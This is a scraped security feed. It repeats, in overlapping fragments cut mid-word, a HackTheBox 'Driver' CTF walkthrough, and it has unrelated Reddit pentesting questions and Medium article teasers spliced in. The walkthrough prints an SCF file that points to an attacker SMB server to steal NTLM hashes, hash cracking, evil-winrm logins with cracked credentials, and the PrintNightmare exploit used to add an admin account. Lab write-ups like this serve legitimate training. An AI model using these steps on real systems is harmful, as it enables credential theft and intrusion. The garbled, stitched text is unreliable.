Hacking Articles Tips Tricks Videos Tutorials
iXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png We save this hash into a file and then run john the ripper using rockyou dictionary file. We see a cracked credential “liltony”<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKP…
/13.png We can confirm the exploit’s working by checking the new user’s existence in the server by using net user command.<o:p net user<o:pnet user aarti<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png Finally, we can user evil-winrm again to connect to the machine and snag our root flag.<o:p evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987<o:pcd c:\users\administrator\desktop<o:pcat root.txt<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png ConclusionDriver box on HackTheBox platform is a good beginner friendly Windows box that teaches basics of exploitation using a server-side file execution vulnerability and then privilege escalation using a very famous printer driver vulnerability. Thanks for reading.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Driver HackTheBox Walkthrough
IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare (printer driver vulnerability). The box covers the fundamentals of enumeration and points to attention to detail while pentesting. Table of ContentInitial Access
* Enumeration using Nmap and other tools
* Compromising low-priv hash using SCF file
* Evil-WinRM to access low-priv account
* User Flag
Privilege Escalation
* Abusing printer driver vulnerability
* Root flag
Let’s deep dive into this. Initial AccessThe IP address assigned to the machine is 10.129.32.68. Upon running an Nmap scan on this, we get the following result
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfnLCbTcD0oJ02BSoqk9zHokEpAau71lWylEVZw7RlzVtWKMO9URB3F670Mkyb-WwiEO--UV-kK3si7sZ33cwT2aOaSCklF9VEMyTQ1Snl_bryXPMc2Yujylq-19PgXmPul32W25lDRxrsl7ESsKINLwWbObgKOiaJYeWikY2Ij9ms6_-Lo6VHG1p95A/s16000/1.png?w=640&ssl=1
We check each port for enumeration and further access. Only port 80 seemed to have a gateway which could lead further. But it was bound by a password.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1IfgkDJCWPCJd2xP7LqBZhDygYob2hBeYXHJjsCixGdiCnmKMXjN4K_eB9oEP4sMP-Jgwdxpk2A7c7Y0gcl91pYP3M4vu886BPvLU6PQoG-SOFMds7njLRVKVMyQeiXFtzdSEN6YCezMD3Dna6ZwfqfL1WAq3-2GurUrDlk7HyA2Y9oKWQhy7esiA_g/s16000/2.png?w=640&ssl=1
But knowing the password is essential. We see in nmap results that an MFP printer website is running on this port. By operating under the assumption that websites for hardware products generally have a default password set, we try admin/admin and it worked!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQWNeSNLGCxlyfrVGJemyTha0ADPfRytW6TZwN3cOJNq5xc1Pzd-hvhMRlMktBLmV98zsCPFqIAPMBqOFhLvpIclwkLm9X96otr74ppFxtQBvuBTv_R7YBaG4zd6KUkRs-pKRmOIVASR7OhIPvnqmEHAJfZrtedwY2SIdkRY2hMg_nTJVT-bIt_Tes5Q/s16000/3.1.png?w=640&ssl=1
Further, we see there’s a firmware update option on the website which takes in a file. We looked for firmware files and how shells could be injected into them for execution. A far simpler method came up by which we could inject a Shell Command File (SCF) into the updated portal. You can read more about SCF here. In Nmap, we see that a Windows server was running so the server could successfully run an SCF file.
We simply created an SMB server and used a UNC path to access it in order to catch the current running user’s hash.
cat shell.scf
[Shell]
Command=2
IconFile=\\10.10.14.93\tools\ignite.ico
[Taskbar]
Command=ToggleDesktop
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpengmmVEFbebfMlG_XSDqmgJSnOSIm1sY_2MoS7JH2biUD52J0NpALdmSEGp91rLE7u3Xd52HUiz3co21yl6VMsM0dC2C5jbU7ylVSNVeYZ1iMMl7-H0GAa89d_fPv6T-iHP1zod16t5GqzO7BCVjasZqodsdpxjBIeFaRu0MvKxdwpmw3ox_TvYUw/s16000/3.png?w=640&ssl=1
Further, we just upload this to the Firmware Updates section.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyWZo7mAuPFBlHLmG3MvcCZELGEwZJjFVcHE8SQM4Y_NuOFur11-t8zMVaquJQr3D307gPKtIQlhG82q7DoS0ueHkL9x1sIZuPouyC2Bx4IKJPnOVWWFn0Mu5Na6xnkWj3R_qowtCCTPDJ4s4Zp5RG6ZZJdbCoUHIlr6GVbyoR1HlDWWVIAAW9EPfIw/s16000/3.2.png?w=640&ssl=1
Before hitting submit, we launch our smbserver using the impacket tool suite. And then upon hitting submit, we see the Windows server ran the file and we captured a low-priv user tony’s hash.
smbserver.py tools $(pwd) -smb2support
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeeVwIgzdEuLLq6EvK4uaAND6lyZ5RpZ43BiWcSnGj5plfLaHiI-U3q6z86mTotv3XcwWMn-yd-yy9ou3IICWIaycwSM60CevYfkaqAhn5y6CIQCJqg6BC4d6MoBo7aUKnPK3BiRycwspiXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png?w=640&ssl=1
We save this hash into a file and then run john t[...]
Driver HackTheBox Walkthrough
IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare (printer driver vulnerability). The box covers the fundamentals of enumeration and points to attention to detail while pentesting. Table of ContentInitial Access
* Enumeration using Nmap and other tools
* Compromising low-priv hash using SCF file
* Evil-WinRM to access low-priv account
* User Flag
Privilege Escalation
* Abusing printer driver vulnerability
* Root flag
Let’s deep dive into this. Initial AccessThe IP address assigned to the machine is 10.129.32.68. Upon running an Nmap scan on this, we get the following result
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfnLCbTcD0oJ02BSoqk9zHokEpAau71lWylEVZw7RlzVtWKMO9URB3F670Mkyb-WwiEO--UV-kK3si7sZ33cwT2aOaSCklF9VEMyTQ1Snl_bryXPMc2Yujylq-19PgXmPul32W25lDRxrsl7ESsKINLwWbObgKOiaJYeWikY2Ij9ms6_-Lo6VHG1p95A/s16000/1.png?w=640&ssl=1
We check each port for enumeration and further access. Only port 80 seemed to have a gateway which could lead further. But it was bound by a password.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1IfgkDJCWPCJd2xP7LqBZhDygYob2hBeYXHJjsCixGdiCnmKMXjN4K_eB9oEP4sMP-Jgwdxpk2A7c7Y0gcl91pYP3M4vu886BPvLU6PQoG-SOFMds7njLRVKVMyQeiXFtzdSEN6YCezMD3Dna6ZwfqfL1WAq3-2GurUrDlk7HyA2Y9oKWQhy7esiA_g/s16000/2.png?w=640&ssl=1
But knowing the password is essential. We see in nmap results that an MFP printer website is running on this port. By operating under the assumption that websites for hardware products generally have a default password set, we try admin/admin and it worked!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQWNeSNLGCxlyfrVGJemyTha0ADPfRytW6TZwN3cOJNq5xc1Pzd-hvhMRlMktBLmV98zsCPFqIAPMBqOFhLvpIclwkLm9X96otr74ppFxtQBvuBTv_R7YBaG4zd6KUkRs-pKRmOIVASR7OhIPvnqmEHAJfZrtedwY2SIdkRY2hMg_nTJVT-bIt_Tes5Q/s16000/3.1.png?w=640&ssl=1
Further, we see there’s a firmware update option on the website which takes in a file. We looked for firmware files and how shells could be injected into them for execution. A far simpler method came up by which we could inject a Shell Command File (SCF) into the updated portal. You can read more about SCF here. In Nmap, we see that a Windows server was running so the server could successfully run an SCF file.
We simply created an SMB server and used a UNC path to access it in order to catch the current running user’s hash.
cat shell.scf
[Shell]
Command=2
IconFile=\\10.10.14.93\tools\ignite.ico
[Taskbar]
Command=ToggleDesktop
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivpengmmVEFbebfMlG_XSDqmgJSnOSIm1sY_2MoS7JH2biUD52J0NpALdmSEGp91rLE7u3Xd52HUiz3co21yl6VMsM0dC2C5jbU7ylVSNVeYZ1iMMl7-H0GAa89d_fPv6T-iHP1zod16t5GqzO7BCVjasZqodsdpxjBIeFaRu0MvKxdwpmw3ox_TvYUw/s16000/3.png?w=640&ssl=1
Further, we just upload this to the Firmware Updates section.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyWZo7mAuPFBlHLmG3MvcCZELGEwZJjFVcHE8SQM4Y_NuOFur11-t8zMVaquJQr3D307gPKtIQlhG82q7DoS0ueHkL9x1sIZuPouyC2Bx4IKJPnOVWWFn0Mu5Na6xnkWj3R_qowtCCTPDJ4s4Zp5RG6ZZJdbCoUHIlr6GVbyoR1HlDWWVIAAW9EPfIw/s16000/3.2.png?w=640&ssl=1
Before hitting submit, we launch our smbserver using the impacket tool suite. And then upon hitting submit, we see the Windows server ran the file and we captured a low-priv user tony’s hash.
smbserver.py tools $(pwd) -smb2support
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYeeVwIgzdEuLLq6EvK4uaAND6lyZ5RpZ43BiWcSnGj5plfLaHiI-U3q6z86mTotv3XcwWMn-yd-yy9ou3IICWIaycwSM60CevYfkaqAhn5y6CIQCJqg6BC4d6MoBo7aUKnPK3BiRycwspiXJkwnNCYKzaOE3LuH8CCAwPcm89UkYxBqJD8hDPq9Tg1g/s16000/5.png?w=640&ssl=1
We save this hash into a file and then run john t[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Driver HackTheBox Walkthrough IntroductionThe driver is an easy-rated Windows box on the HackTheBox platform. This is designed to understand initial exploitation using an SCF file and further escalate privileges locally using PrintNightmare…
he ripper using the rockyou dictionary file. We see a cracked credential “liltony”
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1
Next, we tried using SMB tools to access the shell to the server but it didn’t work. In Nmap we see WinRM running so we tried evil-winrm to access tony’s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.
gem install evil-winrm
evil-winrm -i 10.129.32.68 -u tony -p liltony
cd ..\Desktop
cat user.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.
wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1
We can use the upload feature in evil-winrm to put this file on our box and then run it.
upload /root/winpeasx64.exe
.\winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1
In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1
Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1
Reading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.
wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1
Further, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -NewUser "aarti" -NewPassword "Ignite@123987"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1
We can confirm the exploit’s working by checking the new user’s existence in the server by using the net us[...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1
Next, we tried using SMB tools to access the shell to the server but it didn’t work. In Nmap we see WinRM running so we tried evil-winrm to access tony’s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.
gem install evil-winrm
evil-winrm -i 10.129.32.68 -u tony -p liltony
cd ..\Desktop
cat user.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.
wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1
We can use the upload feature in evil-winrm to put this file on our box and then run it.
upload /root/winpeasx64.exe
.\winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1
In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1
Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1
Reading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.
wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1
Further, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -NewUser "aarti" -NewPassword "Ignite@123987"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1
We can confirm the exploit’s working by checking the new user’s existence in the server by using the net us[...]
Hacking Articles Tips Tricks Videos Tutorials
he ripper using the rockyou dictionary file. We see a cracked credential “liltony” https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhx…
er command.
net user
net user aarti
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png?w=640&ssl=1
Finally, we can user evil-winrm again to connect to the machine and snag our root flag.
evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987
cd c:\users\administrator\desktop
cat root.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png?w=640&ssl=1
Conclusion
Driver box on HackTheBox platform is a good beginner-friendly Windows box that teaches the basics of exploitation using a server-side file execution vulnerability and then privileges escalation using a very famous printer driver vulnerability. Thanks for reading.
Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn
The post Driver HackTheBox Walkthrough appeared first on Hacking Articles.
net user
net user aarti
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png?w=640&ssl=1
Finally, we can user evil-winrm again to connect to the machine and snag our root flag.
evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987
cd c:\users\administrator\desktop
cat root.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png?w=640&ssl=1
Conclusion
Driver box on HackTheBox platform is a good beginner-friendly Windows box that teaches the basics of exploitation using a server-side file execution vulnerability and then privileges escalation using a very famous printer driver vulnerability. Thanks for reading.
Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn
The post Driver HackTheBox Walkthrough appeared first on Hacking Articles.
Question about finding vulnerable JS plugins config versions, etc.
https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/
<!-- SC_OFF -->Hi, I am an intern for pentest and just starting out. I never had formal IT/Computer Science background and only done pentest bootcamps and a company was willing to hire me as an intern. I would like to ask something about web applications. I was using BurpSuite and came up with a vulnerable version of bootstrap 4.0.0: Upon checking it is vulnerable to XSS: Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in data-template, data-content and data-title properties of tooltip/popover. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the tooltip, collapse and scrollspy plugins. After crawling the whole website, I tried filtering data-template, tooltip, etc. but most of them are in .js files. I would like to ask how can I test for vulnerabilities and how can I spot which js config/ plugin is being used. Thanks! <!-- SC_ON --> submitted by /u/desecratedhuman (https://www.reddit.com/user/desecratedhuman)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/)
https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/
<!-- SC_OFF -->Hi, I am an intern for pentest and just starting out. I never had formal IT/Computer Science background and only done pentest bootcamps and a company was willing to hire me as an intern. I would like to ask something about web applications. I was using BurpSuite and came up with a vulnerable version of bootstrap 4.0.0: Upon checking it is vulnerable to XSS: Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in data-template, data-content and data-title properties of tooltip/popover. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the tooltip, collapse and scrollspy plugins. After crawling the whole website, I tried filtering data-template, tooltip, etc. but most of them are in .js files. I would like to ask how can I test for vulnerabilities and how can I spot which js config/ plugin is being used. Thanks! <!-- SC_ON --> submitted by /u/desecratedhuman (https://www.reddit.com/user/desecratedhuman)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/)
Looking for Pentesting in the PDX area
https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/
<!-- SC_OFF -->I am an IT Manager for a company and I have to have a PenTest for my org each year. Very simple setup with 3 sights locally. Any recommendations? <!-- SC_ON --> submitted by /u/Luxtaposition (https://www.reddit.com/user/Luxtaposition)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/)
https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/
<!-- SC_OFF -->I am an IT Manager for a company and I have to have a PenTest for my org each year. Very simple setup with 3 sights locally. Any recommendations? <!-- SC_ON --> submitted by /u/Luxtaposition (https://www.reddit.com/user/Luxtaposition)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://cdn-images-1.medium.com/max/1200/0*du4_D8tDoxXvJlp4.jpg
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.
Continue reading on InfoSec Write-ups »
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://cdn-images-1.medium.com/max/1200/0*du4_D8tDoxXvJlp4.jpg
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.
Continue reading on InfoSec Write-ups »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Vulnerability Analysis — Finding weakness and Exploiting them.
https://cdn-images-1.medium.com/max/2600/1*mkMiC6mVVgx1-YKhfZ5Bnw.png
A vulnerability assessment is a systematic review of security weaknesses in a networked system. It evaluates if the system is susceptible…
Continue reading on Medium »
Vulnerability Analysis — Finding weakness and Exploiting them.
https://cdn-images-1.medium.com/max/2600/1*mkMiC6mVVgx1-YKhfZ5Bnw.png
A vulnerability assessment is a systematic review of security weaknesses in a networked system. It evaluates if the system is susceptible…
Continue reading on Medium »
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups »
Read more...
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups »
Read more...
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5
https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5)
Business logic vulnerabilities
https://www.reddit.com/r/redteamsec/comments/zm6f78/business_logic_vulnerabilities/
<!-- SC_OFF -->Hi Guys, I consider myself bellow average when it comes to find Business logic vulnerabilities, and I want to improve in it. how do you deal with this kind of vulnerabilities?, what advises would you give to move forward? <!-- SC_ON --> submitted by /u/Abofouad (https://www.reddit.com/user/Abofouad)
